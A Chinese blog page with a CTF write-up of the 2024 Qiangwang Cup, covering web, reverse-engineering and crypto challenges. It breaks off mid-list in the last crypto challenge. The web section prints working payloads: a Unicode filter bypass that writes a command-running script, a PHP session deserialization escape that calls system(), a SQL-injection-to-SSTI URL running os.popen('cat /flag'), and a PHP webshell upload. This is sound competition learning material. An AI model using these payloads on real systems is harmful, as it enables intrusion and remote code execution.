Welcome To Luhaozhhhe's Blog!

NKUSEer小菜鸡一枚,记录学习笔记、CTF竞赛、学习心得等内容~


  • Home

  • About

  • Tags

  • Categories

  • Archives

离散对数

Posted on 2024-11-04 | In Crypto

Crypto常用算法

Posted on 2024-11-04 | In Crypto

流密码

Posted on 2024-11-04 | In Crypto

块密码

Posted on 2024-11-04 | In Crypto

ECC

Posted on 2024-11-04 | In Crypto

hash

Posted on 2024-11-04 | In Crypto

RSA

Posted on 2024-11-04 | In Crypto

2024强网杯

Posted on 2024-11-04 | In WriteUp

第一次强网杯,和队友做了3个crypto和1个misc,最后排名全国101名

Web

PyBlockly

fuzz unicode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import unidecode
import re
import warnings
warnings.filterwarnings("ignore", category=DeprecationWarning) # 忽略警告

# 定义正则表达式
pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"
pattern = r"&"

# 原字符: ' (U+FF07) -> 转换后: ''' 匹配正则表达式

# 原字符: ︵ (U+FE35) -> 转换后: '(' 匹配正则表达式
# 原字符: ︻ (U+FE3B) -> 转换后: '[(' 匹配正则表达式
# 原字符: ﹙ (U+FE59) -> 转换后: '(' 匹配正则表达式
# 原字符: ( (U+FF08) -> 转换后: '(' 匹配正则表达式

# 原字符: ︶ (U+FE36) -> 转换后: ') ' 匹配正则表达式
# 原字符: ︼ (U+FE3C) -> 转换后: ')] ' 匹配正则表达式
# 原字符: ﹚ (U+FE5A) -> 转换后: ')' 匹配正则表达式
# 原字符: ) (U+FF09) -> 转换后: ')' 匹配正则表达式

# 原字符: ﹐ (U+FE50) -> 转换后: ',' 匹配正则表达式
# 原字符: ﹑ (U+FE51) -> 转换后: ',' 匹配正则表达式
# 原字符: , (U+FF0C) -> 转换后: ',' 匹配正则表达式
# 原字符: 、 (U+FF64) -> 转换后: ',' 匹配正则表达式

# 原字符: / (U+FF0F) -> 转换后: '/' 匹配正则表达式

# 原字符: ﹒ (U+FE52) -> 转换后: '.' 匹配正则表达式

# 原字符: ﬩ (U+FB29) -> 转换后: '+' 匹配正则表达式

# 遍历所有 Unicode 字符
for code_point in range(0x110000): # Unicode 范围 0x0000 到 0x10FFFF
char = chr(code_point)
ascii_char = unidecode.unidecode(char)
# 检查转换后的字符是否匹配正则表达式
if re.search(pattern, ascii_char):
print(f"原字符: {char} (U+{code_point:04X}) -> 转换后: '{ascii_char}' 匹配正则表达式")

# print(open('/flag').read())
# max('a','b')
# print(open('/flag').read(),'')
# b=b'﹐open︵'/flag'﹒read︵︶︶﹐'a
# b=b'﹐open︵'/flag'︶﹐'a

# b'﹐open︵'/etc/passwd'︶﹒read︵︶﹐'a

可写文件,可以写run.py,生成payload脚本如下,run.py直接RCE,并发打尝试竞争

1
2
3
4
5
6
7
8
9
10
11
12
13
source='''begin')
with open('run.py', 'w') as file:
file.write('import os\\ncmd = \\'dd if=/flag\\'\\nprint(os.popen(cmd).read())\\n')
print('success'''

print(source.replace('\'',''')
.replace('(','︵').replace(')','︶').replace('{','︷').replace('}','︸').replace('.','﹒').replace('-','︲')
.replace(',','﹐').replace('/','/').replace('+','﬩').replace(':','﹕').replace('=','﹦').replace('"','"')
.replace('>','﹀').replace('&','﹠')
.replace('*','﹡').replace('\\','﹨').replace('\n','\\n')
)

print(source)

Yakit线程数开到80 repeat开1000,实测可以打通1-2次请求

读不出flag,看下权限

flag root只读,找suid

suid有dd命令,根据上面的脚本生成最终exp

platform

打session反序列化逃逸

本题session文件格式

1
user|序列化字符session_key|序列化字符password|序列化字符

其中session_key长度不确定,但是是1-50范围内

敏感函数会过滤,user写数组填入敏感函数,password内填入恶意序列化,用user逃逸覆盖session_key

把session file打成这样就行

1
user|a:2:{i:0;s:91:"";i:1;s:0:"";}session_key|s:43:"AASnObFAVz9pSYNMtI86IkkGzYUlqzxZyQPFVBmZB3i";password|s:96:";i:1;O:15:"notouchitsclass":1:{s:4:"data";s:30:"$a='sys'.'tem';$a('ls -al /');";}}password|s:0:"";

最终payload

1
username[]=evalevalevalevalevalevalevalevalevalevalevalevalevalevalevalevalevaleval&username[]=&password=;i:1;O:15:"notouchitsclass":1:{s:4:"data";s:31:"$a=%27sys%27.%27tem%27;$a(%27/readflag%27);";}}password|s:0:"

Yakit线程数开1,一边打index.php生成session文件,一边打dashboard触发payload,当敏感函数覆盖的长度正好与随机生成的key长度相等就会执行命令,爆破还挺快

snake

上来一个贪吃蛇

session可以伪造,不过没什么用,先写个能玩的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
import requests
import json
url='http://eci-2zefgk9je6f4xlvodibv.cloudeci1.ichunqiu.com:5000/move'
headers = {'Content-Type': 'application/json'}
cookies = {'session': 'eyJ1c2VybmFtZSI6ImFkbWluIn0.ZyY3pQ._BvwXGOBEhq_MpV7ys_JWE7PRCs'}
# {"direction":"UP"}
def move_up():
data = {"direction":"UP"}
r = requests.post(url, data=json.dumps(data),cookies=cookies, headers=headers)
try:
a=r.json()
except:
print(r.text)
if a['status']=='game_over':
print("GAME_OVER")
exit()
elif a['status']=='win':
print(a)
exit()
return a

def move_down():
data = {"direction":"DOWN"}
r = requests.post(url, data=json.dumps(data),cookies=cookies, headers=headers)
try:
a=r.json()
except:
print(r.text)
if a['status']=='game_over':
print("GAME_OVER")
exit()
elif a['status']=='win':
print(a)
exit()
return a

def move_left():
data = {"direction":"LEFT"}
r = requests.post(url, data=json.dumps(data),cookies=cookies, headers=headers)
try:
a=r.json()
except:
print(r.text)
if a['status']=='game_over':
print("GAME_OVER")
exit()
elif a['status']=='win':
print(a)
exit()
return a

def move_right():
data = {"direction":"RIGHT"}
r = requests.post(url, data=json.dumps(data),cookies=cookies, headers=headers)
try:
a=r.json()
except:
print(r.text)
if a['status']=='game_over':
print("GAME_OVER")
exit()
elif a['status']=='win':
print(a)
exit()
return a

def init_snake():
for i in range(10):
move_up()
for _ in range(10):
move_left()

# board 20*20
def loop_snake():
for i in range(9):
move_right()
for i in range(18):
move_down()
move_right()
for i in range(18):
move_up()
move_right()
for i in range(18):
move_down()
move_down()
for i in range(19):
move_left()
for i in range(18):
move_up()
return move_up()

if __name__ == '__main__':
init_snake()
while True:
loop_snake()

# http://eci-2ze8beum9soiwtd81xgp.cloudeci1.ichunqiu.com:5000/snake_win?username=a%27%20union%20select%201,2,(select%20%27{%set%20ls=%22cat%20/flag%22%}{{cycler.next.__globals__.__builtins__.__import__(%22os%22).popen(ls).read()}}%27)--+

写了个循环的,算法不重要,能玩就行,就是跑得慢点

拿到最后的路径,发现有联合查询,查询出来的东西可以打ssti

注入poc

1
/snake_win?username=a%27%20union%20select%201,2,(select%20%27PAYLOAD%27)--+

fenjing直接梭

最终payload

1
http://eci-2ze8beum9soiwtd81xgp.cloudeci1.ichunqiu.com:5000/snake_win?username=a%27%20union%20select%201,2,(select%20%27{%set%20ls=%22cat%20/flag%22%}{{cycler.next.__globals__.__builtins__.__import__(%22os%22).popen(ls).read()}}%27)--+

Proxy

很简单,看一眼源码就知道了

v2接口直接打golang v1接口,不走nginx就行

base解一下flag{42f4ce70-9d67-4cf5-bec1-77c7256d2367}

xiaohuanxiong

访问后台目录ip/admin/payment.html可以发现这里可以上传php代码,于是添加phpinfo()进行上传

Burpsuit抓包将php内容改为一句话木马

发送后用蚁剑连接根目录下获取flag

Reverse

mips

mips_bin中可以解出一个flag,flag{dynamic_reverse},启动mips_bin可以提示正确,但这不是正确的flag。

动调输入flag{123456789012345678901}满足条件后,可以观察到stru的值是我们输入的明文,v679也是。

前面套了一个类似canary的东西?导致直接运行到不了加密点,对copy的明文交叉引用。可以发现一串未被IDA识别为函数的内容。转换之后可以看到比较逻辑。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
unsigned __int64 __fastcall rc4(__int64 a1)
{
unsigned int v1; // edx
__int64 v2; // rax
unsigned __int64 result; // rax
__int64 v4; // [rsp+0h] [rbp-190h] BYREF
__int64 v5; // [rsp+8h] [rbp-188h]
unsigned __int8 v6; // [rsp+14h] [rbp-17Ch]
unsigned __int8 v7; // [rsp+15h] [rbp-17Bh]
unsigned __int8 v8; // [rsp+16h] [rbp-17Ah]
unsigned __int8 v9; // [rsp+17h] [rbp-179h]
int i; // [rsp+18h] [rbp-178h]
int v11; // [rsp+1Ch] [rbp-174h]
unsigned int v12; // [rsp+20h] [rbp-170h]
int v13; // [rsp+24h] [rbp-16Ch]
int v14; // [rsp+28h] [rbp-168h]
int j; // [rsp+2Ch] [rbp-164h]
int v16; // [rsp+30h] [rbp-160h]
int v17; // [rsp+34h] [rbp-15Ch]
int v18; // [rsp+38h] [rbp-158h]
int v19; // [rsp+3Ch] [rbp-154h]
const char *v20; // [rsp+40h] [rbp-150h]
unsigned __int64 v21; // [rsp+48h] [rbp-148h]
__int64 v22; // [rsp+50h] [rbp-140h]
__int64 v23; // [rsp+58h] [rbp-138h]
__int64 v24; // [rsp+60h] [rbp-130h]
__int64 v25; // [rsp+68h] [rbp-128h]
int v26; // [rsp+70h] [rbp-120h]
__int64 v27[32]; // [rsp+80h] [rbp-110h] BYREF
__int16 v28; // [rsp+180h] [rbp-10h]
unsigned __int64 v29; // [rsp+188h] [rbp-8h]

v5 = a1;
v29 = __readfsqword(0x28u);
v22 = 0LL;
v23 = 0LL;
v24 = 0LL;
v25 = 0LL;
v26 = 0;
memset(v27, 0, sizeof(v27));
v28 = 0;
for ( i = 0; i <= 255; ++i )
*((_BYTE *)v27 + i) = i;
v16 = 0;
v11 = 0;
v17 = 0;
v12 = 0;
v20 = "6105t3";
do
{
v16 = *((unsigned __int8 *)v27 + v12);
v18 = 2 * (v12 / 6 - (((2863311531u * (unsigned __int64)v12) >> 32) & 0xFFFFFFFC));
v17 = (unsigned __int8)(v20++)[v18];
v11 += v16 + v17;
v1 = v12++;
*((_BYTE *)v27 + v1) = *((_BYTE *)v27 + (unsigned __int8)v11);
v2 = (unsigned __int8)v11;
*((_BYTE *)v27 + (unsigned __int8)v11) = v16;
}
while ( v12 != 256 );
_InterlockedExchange64(&v4, _InterlockedExchange64(&v4, v2) + 13);
v13 = 0;
v14 = 0;
v19 = 0;
v21 = sub_7FDABFD4BD90(256LL);
for ( j = 0; j != 22; ++j )
{
v19 = *((unsigned __int8 *)v27 + (unsigned __int8)++v13);
v14 += v19;
*((_BYTE *)v27 + (unsigned __int8)v13) = *((_BYTE *)v27 + (unsigned __int8)v14);
*((_BYTE *)v27 + (unsigned __int8)v14) = v19;
v6 = *(_BYTE *)(j + 5 + v5);
v7 = ((((unsigned __int8)(v6 << 7) | (v6 >> 1)) << 6) ^ 0xC0 | ((unsigned __int8)((v6 << 7) | (v6 >> 1)) >> 2) ^ 0x3B) ^ 0xBE;
v8 = ((32 * v7) | (v7 >> 3)) ^ 0xAD;
v9 = ((16 * v8) | (v8 >> 4)) ^ 0xDE;
*(_BYTE *)(j + v21) = *((_BYTE *)v27 + (unsigned __int8)(*((_BYTE *)v27 + (unsigned __int8)v13) + v19)) ^ byte_7FDAC0321A60[j & 3] ^ ((v9 >> 5) | (8 * v9));
}
result = v21;
if ( v29 != __readfsqword(0x28u) )
sub_7FDABFD9B930();
return result;
}

具体加密流程:

魔改rc4,异或0xA,换位

密文在这个位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
__int64 __fastcall sub_7F1529A8D913()
{
__int64 v0; // rbp
__int64 result; // rax

result = *(unsigned int *)(*(_QWORD *)(v0 - 16) + 128LL);
*(_DWORD *)(v0 - 20) = result;
if ( *(_DWORD *)(v0 - 20) == (_DWORD)&unk_23000 )
{
result = (unsigned int)dword_7F152A382318;
if ( dword_7F152A382318 )
{
*(_QWORD *)(v0 - 8) = rc4((__int64)stru_7F152A383280);
for ( *(_DWORD *)(v0 - 28) = 0; *(int *)(v0 - 28) <= 21; ++*(_DWORD *)(v0 - 28) )
*(_BYTE *)(*(int *)(v0 - 28) + *(_QWORD *)(v0 - 8)) ^= dword_7F152A382324;
swap(*(_QWORD *)(v0 - 8), 7, 11);
result = swap(*(_QWORD *)(v0 - 8), 12, 16);
*(_DWORD *)(v0 - 24) = 0;
for ( *(_DWORD *)(v0 - 24) = 0; *(int *)(v0 - 24) <= 21; ++*(_DWORD *)(v0 - 24) )
{
result = dword_7F152A2ECA80[*(int *)(v0 - 24)];
if ( *(unsigned __int8 *)(*(int *)(v0 - 24) + *(_QWORD *)(v0 - 8)) != (_DWORD)result )
{
*(_DWORD *)(v0 - 32) = 1;
break;
}
}
if ( !*(_DWORD *)(v0 - 32) && *(_DWORD *)(v0 - 24) == 22 )
dword_7F152A38231C = 1;
}
}
return result;
}

比较流程

使用单字节爆破,先换位,在单字节异或0xA以后判断是否相等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#include "bits/stdc++.h"

// __int64 __fastcall sub_7FDABFAC2685() {
// __int64 basePointer; // rbp
// __int64 result; // rax
// int currentIndex = 0, totalValue = 0, tempValue = 0;
// int *bufferPtr = sub_7FDABFD4BD90(256LL); // 假设这个函数为分配256字节内存并返回指针
// int loopCounter = 0;

// for (loopCounter = 0; loopCounter != 22; ++loopCounter) {
// // 获取并更新currentIndex位置的字节
// tempValue = *(unsigned __int8 *)(basePointer + (unsigned __int8)++currentIndex - 272);
// totalValue += tempValue;

// // 交换数组中两个位置的字节
// *(_BYTE *)(basePointer + (unsigned __int8)currentIndex - 272) = *(_BYTE *)(basePointer + (unsigned __int8)totalValue - 272);
// *(_BYTE *)(basePointer + (unsigned __int8)totalValue - 272) = tempValue;

// // 复杂的字节操作
// *(_BYTE *)(basePointer - 380) = *(_BYTE *)(loopCounter + 5 + bufferPtr);
// *(_BYTE *)(basePointer - 379) = ((((unsigned __int8)(*(_BYTE *)(basePointer - 380) << 7) | (*(_BYTE *)(basePointer - 380) >> 1)) << 6) ^ 0xC0 | ((unsigned __int8)((*(_BYTE *)(basePointer - 380) << 7) | (*(_BYTE *)(basePointer - 380) >> 1)) >> 2) ^ 0x3B) ^ 0xBE;
// *(_BYTE *)(basePointer - 378) = ((32 * *(_BYTE *)(basePointer - 379)) | (*(_BYTE *)(basePointer - 379) >> 3)) ^ 0xAD;
// *(_BYTE *)(basePointer - 377) = ((16 * *(_BYTE *)(basePointer - 378)) | (*(_BYTE *)(basePointer - 378) >> 4)) ^ 0xDE;
// *(_BYTE *)(*(int *)(basePointer - 356) + *bufferPtr) = *(_BYTE *)(basePointer - 272 + (unsigned __int8)(*(_BYTE *)(basePointer - 272 + (unsigned __int8)currentIndex) + tempValue)) ^ byte_7FDAC0321A60[loopCounter & 3] ^ ((*(_BYTE *)(basePointer - 377) >> 5) | (8 * *(_BYTE *)(basePointer - 377)));
// }
// result = (int64_t)bufferPtr;
// return result;
// }


void swap(unsigned int* arr, int index1, int index2) {
unsigned int temp = arr[index1];
arr[index1] = arr[index2];
arr[index2] = temp;
}
int main() {

unsigned int v1;
unsigned __int8 v2;
int i;
int v4;
unsigned int v5;
int v6;
int v7;
int j;
int v9;
int v10;
int v11;
const char *key;
unsigned __int8 *cipher;
unsigned __int8 Sbox[256];
__int16 v15;
unsigned __int64 v16;
unsigned __int64 byte[4]={ 0xDE, 0xAD, 0xBE, 0xEF };
unsigned __int8 input[22];
unsigned int comparisonValues[22] = {
0xC4, 0xEE, 0x3C, 0xBB, 0xE7, 0xFD, 0x67, 0x1D,
0xF8, 0x97, 0x68, 0x9D, 0x0B, 0x7F, 0xC7, 0x80,
0xDF, 0xF9, 0x4B, 0xA0, 0x46, 0x91
};
memset(Sbox, 0, sizeof(Sbox));
swap(comparisonValues,12,16);
swap(comparisonValues,7,11);

v15 = 0;
for (i = 0; i <= 255; ++i)
Sbox[i] = i;
v4 = 0;
v5 = 0;
key = "6105t3";
do {
v9 = Sbox[v5];
v10 = (unsigned __int8)(key++)[(int)(2 * (v5 / 6 - (((0xAAAAAAAB * (unsigned __int64)v5) >> 32) & 0xFFFFFFFC)))];
v4 += v9 + v10;
v1 = v5++;
Sbox[v1] = Sbox[(unsigned __int8)v4];
Sbox[(unsigned __int8)v4] = v9;
} while (v5!= 256);

v6 = 0;
v7 = 0;
cipher = (unsigned __int8 *)malloc(256LL);
for (j = 0; j< 22; ++j) {
v11 = Sbox[(unsigned __int8)++v6];
v7 += v11;
Sbox[(unsigned __int8)v6] = Sbox[(unsigned __int8)v7];
Sbox[(unsigned __int8)v7] = v11;

for (size_t i = 30; i < 128; i++) {
unsigned __int8 kk = i;
v2 = ((((unsigned __int8)(kk << 7) | (kk >> 1)) << 6) ^ 0xC0 | ((unsigned __int8)((kk << 7) | (kk >> 1)) >> 2) ^ 0x3B) ^ 0xBE;
cipher[j] = Sbox[(unsigned __int8)(Sbox[(unsigned __int8)v6] + v11)] ^ byte[j & 3] ^ (((unsigned __int8)(((16 * (((32 * v2) | (v2 >> 3)) ^ 0xAD)) | ((unsigned __int8)(((32 * v2) | (v2 >> 3)) ^ 0xAD) >> 4)) ^ 0xDE) >> 5) | (8 * (((16 * (((32 * v2) | (v2 >> 3)) ^ 0xAD)) | ((unsigned __int8)(((32 * v2) | (v2 >> 3)) ^ 0xAD) >> 4)) ^ 0xDE)));
input[j] = cipher[j] ^ 0xA;
if(input[j] == comparisonValues[j]) {
printf("%c",i);
break;
}
}
}
return 0;
}
//flag{QeMu_r3v3rs3in9_h@ck6}

Crypto

EasyRSA

最关键的一点是发现因式分解

因为知道N,g。那么根据关系式我们就能求得,又因为h约等于2*g*a*b,我们就去考虑爆破,从而去得到a*b精确的值;解一元二次方程即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import libnum
import gmpy2
N=44508032913002083870355404862735438626101420684925226109004446055983741286243522239538526937180627934140152431694079162230431229052851024336508410878627936748017709043194286224138820165941548398584964821307884353900213098472107658109061170754204029096285296176798196668398879206081800157621341733896385256724382552535145729995175333371544187439594792184238990799578167433759917599778934656885213754695821339778827029190401939320298150384346348349408520262556885538553500793321231050234860932642954967635986692611043922605612419097784360447185894049038327592249753753750962058855945807295380786206177380184416974656659
e=65537
g=2816807073583541617244336487749418034536648745076739514510777555728148022135730271356006479737596617603106264254423134880711360037235639243811059087771
enc=40359774585181786718067015077121421540771743324474888383682066908706211042488333672133443506409835144235567957892565227399108321321812635818651405960419607888206247279096368182246189753271845232943165475223454156956276295097500196230066407058253745424766599085563165578695097940086865669573021466651691429311702528817794551352659301522751080542842702170907942218113172271737735091814350783325767489460119441286158221757566087580992626962791492617237916181495815124902590728686639229514450327984938027358782879652133589016622157558248485680690832481735950298845664751104141724177237811608463591547937862456317025511685
# 已知参数
h=(N-1)/2/g
#print(h)
g2=g*2
k=int(h/g2)
#print(k)

lower_bound = 2^23
upper_bound = 2^24

for u in range(lower_bound, upper_bound):
v = k - u
S = h-2 * g * v # a + b
P = v # a * b

# 构建二次方程 x^2 - Sx + P = 0
D = S^2 - 4 * P # 判别式

# 检查判别式是否为完全平方数
if is_square(D):
sqrt_D = int(sqrt(D))
a = int((S + sqrt_D) / 2)
b = int((S - sqrt_D) / 2)

# 验证 a 和 b 是否正整数
if a > 0 and b > 0:
# 计算 p_a 和 p_b
p_a = 2 * g * a + 1
p_b = 2 * g * b + 1

# 检查 p_a 和 p_b 是否为素数
if is_prime(p_a) and is_prime(p_b):
# 验证 N 是否等于 p_a * p_b
if p_a * p_b == N:
print(f"Found a and b:")

# 计算 phi(N)
phi_N = (p_a - 1) * (p_b - 1)

# 计算私钥 d
d = gmpy2.invert(e, phi_N)

# 解密密文
m = pow(enc, d, N)


print(f"Recovered m: {m}")
print(libnum.n2s(m))
#m=56006392793429433661271203508232706411348440471374381419570426167878651697345525534934527018801522301
#flag{e83a95e2-6ea2-4402-808b-bf010cbbffcf}

flag{e83a95e2-6ea2-4402-808b-bf010cbbffcf}

21_steps

这题主要的思路就是构造出payload,只含有21个基本运算('>>', '<<', '+', '-', '&', '^','*', '/', '%')

同时,我们只能使用变量a和b,需要在21步之内将a(128位bits)的1的个数算出来,并且赋值给a

上网搜索相关的资料,发现存在一种求汉明重量的算法bitcount,其中存在一种位运算的算法,如下所示:

1
2
3
4
5
6
7
8
int hammingWeight(uint32_t n) {
n = n - ((n >> 1) & 0x55555555);
n = (n & 0x33333333) + ((n >> 2) & 0x33333333);
n = (n + (n >> 4)) & 0x0f0f0f0f;
n = n + (n >> 8);
n = n + (n >> 16);
return n & 0x3f;
}

这个是求64位的算法,我们只需要对位数进行扩展即可,稍微修改一下脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def calculate_hamming_weight_128(a):
b = a # 将 a 的值赋给 b

# 计算汉明重量
b = b - ((b >> 1) & 113427455640312821154458202477256070485)
b = (b & 68056473384187692692674921486353642291) + ((b >> 2) & 68056473384187692692674921486353642291)
b = (b + (b >> 4)) & 20016609818878733144904388672456953615
b = b + (b >> 8)
b = b + (b >> 16)
b = b + (b >> 32)
b = b + (b >> 64)

# 将结果放回 a 中,只保留汉明重量
return int(b & 0x7F) # 128位的汉明重量最大为128

# 示例
a = 2**127-1 # 示例:127个1和1个0
hamming_weight = calculate_hamming_weight_128(a)
print(f"Hamming Weight: {hamming_weight}")

在本地测试,没啥问题,然后我们根据题目要求的正则表达式(pattern = r'([AB]|)=([AB]|)(+|-|*|//|<<|>>|&|^|%)([AB]|)')的规则进行改写,也就是说不能出现a=b这样的式子,必须是a=a+b这样的

而且不能使用十六进制的数,所以我们还需要调整一下

最后构造的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
B=A+B;
A=A>>1;
A=A&113427455640312821154458202477256070485;
B=B-A;
A=B&68056473384187692692674921486353642291;
B=B>>2;
B=B&68056473384187692692674921486353642291;
A=A+B;
B=A>>4;
A=A+B;
B=A&20016609818878733144904388672456953615;
A=B>>8;
A=A+B;
B=A>>16;
B=A+B;
A=B>>32;
A=A+B;
B=A>>64;
B=A+B;
A=B&127;

然后在nc端运行,直接得到flag

flag{you_can_weight_it_in_21_steps!}

apbq

这题的主要分三步

第一步很简单,已知p+q和p*q,直接解方程就行

1
2
3
4
5
6
7
n=89839084450618055007900277736741312641844770591346432583302975236097465068572445589385798822593889266430563039645335037061240101688433078717811590377686465973797658355984717210228739793741484666628342039127345855467748247485016133560729063901396973783754780048949709195334690395217112330585431653872523325589
e=65537
add=18978581186415161964839647137704633944599150543420658500585655372831779670338724440572792208984183863860898382564328183868786589851370156024615630835636170
chengji=n
from sympy import *
x,y= symbols('x,y')
print(solve([x*y-n,x+y-add],[x,y]))

解得p和q的值,然后简单RSA解密得到第一部分的明文

1
2
3
4
5
6
7
8
9
10
11
p=9944868810114216202051445555036732697046288141145767567362511367574668195172230525918426361043964814581009916352403620781997665604176512356634685730213779
q=9033712376300945762788201582667901247552862402274890933223144005257111475166493914654365847940219049279888466211924563086788924247193643667980945105422391
enc=23664702267463524872340419776983638860234156620934868573173546937679196743146691156369928738109129704387312263842088573122121751421709842579634121187349747424486233111885687289480494785285701709040663052248336541918235910988178207506008430080621354232140617853327942136965075461701008744432418773880574136247
n=p*q
e=65537
d=5509304368631978318762702232692423142767812579254792141115624112697799900981013150186025076948972961255236474912409806886935989878783168948332770522421255633821734298643005352356187478769598906437482226034549783166393591341071223117430511707399278731128394709341736045609032333568411154004086041269715471013
m=pow(enc,d,n)
print(m)
from Crypto.Util.number import *
print(long_to_bytes(m))
#m=8114814712001608912087736741471

然后第二部分参考了github(https://github.com/josephsurin/my-ctf-challenges/tree/main/downunderctf-2023/apbq-rsa-ii)上的LLL攻击脚本,稍作修改,就出结果了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#task2
import itertools
# n, c, hints
n=73566307488763122580179867626252642940955298748752818919017828624963832700766915409125057515624347299603944790342215380220728964393071261454143348878369192979087090394858108255421841966688982884778999786076287493231499536762158941790933738200959195185310223268630105090119593363464568858268074382723204344819
c=30332590230153809507216298771130058954523332140754441956121305005101434036857592445870499808003492282406658682811671092885592290410570348283122359319554197485624784590315564056341976355615543224373344781813890901916269854242660708815123152440620383035798542275833361820196294814385622613621016771854846491244
hints=[18167664006612887319059224902765270796893002676833140278828762753019422055112981842474960489363321381703961075777458001649580900014422118323835566872616431879801196022002065870575408411392402196289546586784096, 16949724497872153018185454805056817009306460834363366674503445555601166063612534131218872220623085757598803471712484993846679917940676468400619280027766392891909311628455506176580754986432394780968152799110962, 17047826385266266053284093678595321710571075374778544212380847321745757838236659172906205102740667602435787521984776486971187349204170431714654733175622835939702945991530565925393793706654282009524471957119991, 25276634064427324410040718861523090738559926416024529567298785602258493027431468948039474136925591721164931318119534505838854361600391921633689344957912535216611716210525197658061038020595741600369400188538567, 22620929075309280405649238349357640303875210864208854217420509497788451366132889431240039164552611575528102978024292550959541449720371571757925105918051653777519219003404406299551822163574899163183356787743543, 20448555271367430173134759139565874060609709363893002188062221232670423900235907879442989619050874172750997684986786991784813276571714171675161047891339083833557999542955021257408958367084435326315450518847393, 16581432595661532600201978812720360650490725084571756108685801024225869509874266586101665454995626158761371202939602347462284734479523136008114543823450831433459621095011515966186441038409512845483898182330730, 23279853842002415904374433039119754653403309015190065311714877060259027498282160545851169991611095505190810819508498176947439317796919177899445232931519714386295909988604042659419915482267542524373950892662544, 16542280976863346138933938786694562410542429842169310231909671810291444369775133082891329676227328401108505520149711555594236523078258701726652736438397249153484528439336008442771240980575141952222517324476607, 17054798687400834881313828738161453727952686763495185341649729764826734928113560289710721893874591843482763545781022050238655346441049269145400183941816006501187555169759754496609909352066732267489240733143973, 22115728663051324710538517987151446287208882441569930705944807337542411196476967586630373946539021184108542887796299661200933395031919501574357288914028686562763621166172668808524981253976089963176915686295217, 19324745002425971121820837859939938858204545496254632010818159347041222757835937867307372949986924646040179923481350854019113237172710522847771842257888083088958980783122775860443475680302294211764812636993025, 17269103712436870749511150569030640471982622900104490728908671745662264368118790999669887094371008536628103283985205839448583011077421205589315164079023370873380480423797655480624151812894997816254147210406492, 17365467616785968410717969747207581822018195905573214322728668902230086291926193228235744513285718494565736538060677324971757810325341657627830082292794517994668597521842723473167615388674219621483061095351780, 20823988964903136690545608569993429386847299285019716840662662829134516039366335014168034963190410379384987535117127797097185441870894097973310130525700344822429616024795354496158261293140438037100429185280939, 19068742071797863698141529586788871165176403351706021832743114499444358327620104563127248492878047796963678668578417711317317649158855864613197342671267006688211460724339403654215571839421451060657330746917459, 20089639597210347757891251257684515181178224404350699015820324544431016085980542703447257134320668961280907495580251880177990935443438799776252979843969984270461013888122703933975001704404129130156833542263882, 22344734326131457204500487243249860924828673944521980798994250859372628295695660076289343998351448667548250129358262592043131205967592613289260998148991388190917863322690137458448696392344738292233285437662495, 22688858027824961235755458925538246922604928658660170686458395195714455094516952026243659139809095639584746977271909644938258445835519951859659822660413616465736923822988993362023001205350387354001389518742538, 21286046487289796335501643195437352334100195831127922478044197411293510360710188581314023052580692810484251118253550837525637065385439859631494533102244585493243972819369812352385425700028640641292410326514111, 21542729548465815605357067072323013570796657575603676418485975214641398139843537820643982914302122976789859817102498484496409546012119998359943274203338400776158986205776474024356567247508744784200354385060666, 22319592382753357951626314613193901130171847776829835028715915533809475362288873045184870972146269975570664009921662023590318988850871708674240304838922536028975978222603171333743353770676344328056539379240160, 25195209191944761648246874631038407055240893204894145709996399690807569652160721616011712739214434932639646688187304865397816188999592774874989401871300784534538762135830014255425391132306536883804201055992313, 18257804244956449160916107602212089869395886846990320452133193087611626919926796845263727422042179229606817439442521540784268169177331707314788427670112999551683927934427716554137597798283300120796277229509678, 20293403064916574136692432190836928681820834973375054705153628740577159076332283715581047503287766236543327123639746352358718218140738999496451259789097826888955418315455420948960832865750253988992454128969953, 15967654820584966012628708475666706277218484919923639492431538068059543232562431059752700377242326527417238151501168940191488179144049286512652111172149113549072003881460743035279388672984805823560897688895124, 25144187979876039024245879200325843092774389926620026124061775431569974232758799200333888039013494603721065709195353330350750055309315207499741437181094874894647736904055829877859906318073991986020178158776286, 15736932921640444103019961538951409924080453868073105830403926861058056351553271238438325117113945341892868641345117717666354739204401152657265824568724844930574396801692131746182948347887298330990039956813130, 18831072673439732764722762485733622234889447953507582396819704359771208236721692820362137219509611319088756045211407777880521726782697895768017460064889670066178710804124631128581556314122255564861269062385337, 23800437561684813552661749774840752013501533683948618798811470214669024646396165487093720960221009038817909066075238937189371227098032581450466402462014437421254375846263830927945343485988463525070074913720710, 